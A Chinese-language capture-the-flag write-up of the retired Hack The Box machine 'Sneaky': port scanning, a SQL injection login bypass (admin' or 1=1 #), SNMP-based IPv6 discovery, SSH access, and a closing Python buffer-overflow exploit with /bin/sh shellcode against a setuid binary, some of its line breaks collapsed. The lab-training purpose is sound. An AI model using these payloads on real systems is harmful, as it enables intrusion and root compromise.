1. 程式人生 > 實用技巧 >HTB-靶機-Sneaky

HTB-靶機-Sneaky

本篇文章僅用於技術交流學習和研究的目的,嚴禁使用文章中的技術用於非法目的和破壞,否則造成一切後果與發表本文章的作者無關

靶機是作者購買VIP使用退役靶機操作,顯示IP地址為10.10.10.20

nmap -n -sC -sV -p- -A -Pn -oN sneaky.nmap 10.10.10.20

nmap掃描結果

開放了80和161埠,先看看80埠應用

沒啥有價值的東西,使用dirb跑下目錄

發現一個目錄地址dev訪問得到如下頁面

測試了下存在萬能密碼

萬能密碼admin' or 1=1 #

成功之後得到如下資訊,訪問一下key

有了金鑰發現目標靶機沒開22埠,此時想到開放了snmp服務,可以通過此服務列舉下目標的ipv6地址,列舉ipv6地址的利用指令碼:https://github.com/trickster0/Enyx

獲得了IPv6地址,使用nmap掃描了下,發現開放了22埠,那麼使用ipv6地址連線目標靶機

進入目標靶機之後很順利的獲得了user.txt ,使用提權收集資訊指令碼LinEnum.sh進行收集目標靶機系統的資訊,最終得到一個二進位制檔案存在setuid許可權,此靶機又要通過緩衝區溢位進行提權

經過分析測試,得出可以通過如下程式碼進行提權,將下面程式碼儲存為bmfx.py 然後在目標靶機上執行/usr/local/bin/chal $(python bmfx.py) 即可提權

BUFFER_SIZE=362
SHELL_CODE = "\x31\xc0\x50\x68\x2f\x2f\x73"
SHELL_CODE 
+= "\x68\x68\x2f\x62\x69\x6e\x89" SHELL_CODE += "\xe3\x89\xc1\x89\xc2\xb0\x0b" SHELL_CODE += "\xcd\x80\x31\xc0\x40\xcd\x80" NOP_SLED = "\x90"*(BUFFER_SIZE-len(SHELL_CODE)) #EIP = "\x00\xf5\xff\xbf" #0xbffff500 EIP = "\x5c\xf7\xff\xbf" #0xbffff75c PAYLOAD = NOP_SLED + SHELL_CODE + EIP print PAYLOAD